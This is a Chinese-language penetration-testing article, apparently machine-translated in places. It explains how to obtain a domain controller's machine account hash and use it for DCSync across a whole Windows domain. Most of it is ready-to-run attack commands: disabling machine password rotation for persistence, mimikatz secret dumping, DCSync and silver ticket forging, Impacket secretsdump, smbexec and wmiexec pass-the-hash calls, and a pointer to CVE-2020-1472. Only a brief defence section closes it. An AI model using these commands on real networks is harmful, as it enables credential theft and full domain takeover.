0x00 前言
ComputerConfiguration\WindowsSettings\SecuritySettings\LocalPolicies\SecurityOptions\
参考资料:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc785826(v=ws.10)
2.注册表直接修改
注册表位置:HKLM\System\CurrentControlSet\Services\Netlogon\Parameters\
将DisablePasswordChange的值设为1。
自动更新域内计算机账户密码的两种方法(适用于域网):
1.修改组策略
在域控制器上打开域组策略需要修改Group Policy Management后,选择Default Domain Policy。
如下图:
组战略位置:
ComputerConfiguration\WindowsSettings\SecuritySettings\LocalPolicies\SecurityOptions\
2.修改组策略的配置文件
Default Domain Policy对应的guid为31B2F340-016D-11D2-945F-00C04FB984F9
配置文件路径如下:
例如,在我的测试环境中,路径对应如下:
\\test.com\SYSVOL\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\WindowsNT\SecEdit
修改文件GptTmpl.inf,在[Registry Values]添加新内容:
MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange=4,1
如下图:
命令如下:
gpupdate/force
配置完成后,调整系统时间30天,hash保持不变。
0x03 获得MachineAccount口令hash的方法
1.通过注册表文件导出当前计算机帐户的口令hash
mimikatz命令示例:
privilege::debugtoken::elevatelsadump::secrets
在返回结果中,$machine.ACC项对应计算机账户,如下图所示:
从注册表中导出的其他方法可参考前一篇文章《渗透技巧》——通过SAM获取本地用户的数据库hash》
2.使用DCSync导出所有计算机账户的密码hash
(1)使用mimikatz
使用域控制器mimikatz导出域内所有用户hash,命令示例:
mimikatz.exe"lsadump::dcsync/domain:test.com/all/csv"exit
其中以$计算机账户的字符结尾。
其他环境下的使用方法可参考前一篇文章《域渗透》——DCSync》。
(2)使用secretsdump.py
需要安装Python环境和Impacket包,实际使用时可以Python代码编译成exe文件。
命令示例:
pythonsecretsdump.pytest/Administrator:DomainAdmin123!@192.168.1.1
secretsdump.py相比于mimikatz,最大的优点是支持从域外计算机连接到域控制器。
secretsdump.py实现原理:
使用计算机账户密码hash通过smbexec或者wmiexec远程连接到域控制器并获得高权限,然后从注册表中导出本地账户hash,同时通过Dcsync或从NTDS.dit所有域用户在文件中导出hash。
3.通过漏洞CVE-2020-1472
参考资料:
https://www.secura.com/pathtoimg.php?id=2055
CVE-2020-1472目标计算机账户的密码可以在未经授权的情况下远程修改。hash。
注:
CVE-2020-1472域控制器只能修改NTDS.dit保存在文件中的计算机账户hash,注册表中保存的本地计算机账户无法修改hash。
在当域控制器中NTDS.dit计算机账户密码及注册表文件hash系统的正常功能可能会受到不同步的影响。
0x04 使用MachineAccount实现DCSync
例如,我们得到了域控制器DC1计算机账户密码hash为7da530fba3b15a2ea21ce7db8110d57b。
1.使用mimikatz
这里需要制作白银票据(Silver Ticket),接着获得LDAP服务访问权限,详情请参考前一篇文章《域渗透》——Pass The Ticket》。
命令示例:
mimikatz"kerberos::golden/domain:test.com/sid:S-1-5-21-254706111-4049838133-2416586677/target:DC1.test.com/service:LDAP/rc4:7da530fba3b15a2ea21ce7db8110d57b/user:krbtgt/ptt""lsadump::dcsync/domain:test.com/all/csv"exit
注意以下几个方面:
·只能在域内计算机上运行,不支持域外
·/sid表示域的sid,获取方法可参考前一篇文章《渗透基础》——获取活动目录信息
·/rc4表示计算机账户NTLM hash
·/user:krbtgt表示伪造成用户krbtgt,生成票据
注:域sid简单的获取方法。
任何域用户sid去除最后一个是域sid。
2.使用secretsdump
命令示例:
pythonsecretsdump.py-hashes:7da530fba3b15a2ea21ce7db8110d57btest/DC1$@192.168.1.1
注意以下几个方面:
·secretsdump支持从域外连接到域控制器的计算机
·如果使用域内普通计算机账户的密码hash如果连接到相应的计算机,将失败并提示rpc_s_access_denied
·可以通过wmiexec.py或smbexec.py远程执行cmd命令
命令示例:
pythonsmbexec.py-hashes:7da530fba3b15a2ea21ce7db8110d57btest/DC1$@192.168.1.1whoami/privpythonwmiexec.py-hashes:7da530fba3b15a2ea21ce7db8110d57btest/DC1$@192.168.1.1whoami/priv
注:
有高权限使用计算机账户,如下图所示:
0x05 防御检测
检测DCSync后门的方法可参考域渗透——DCSync》
从防御的角度来看,如果攻击者获得了域管理员的权限,不仅需要修改域管理员用户的密码,还需要更新计算器账户的密码hash,测试域组策略是否配置并打开DisablePasswordChange
0x06 小结
本文介绍了通过域控制器的计算机账户密码hash实现DCSync方法,分析利用思路,提出防御建议。
【编辑推荐】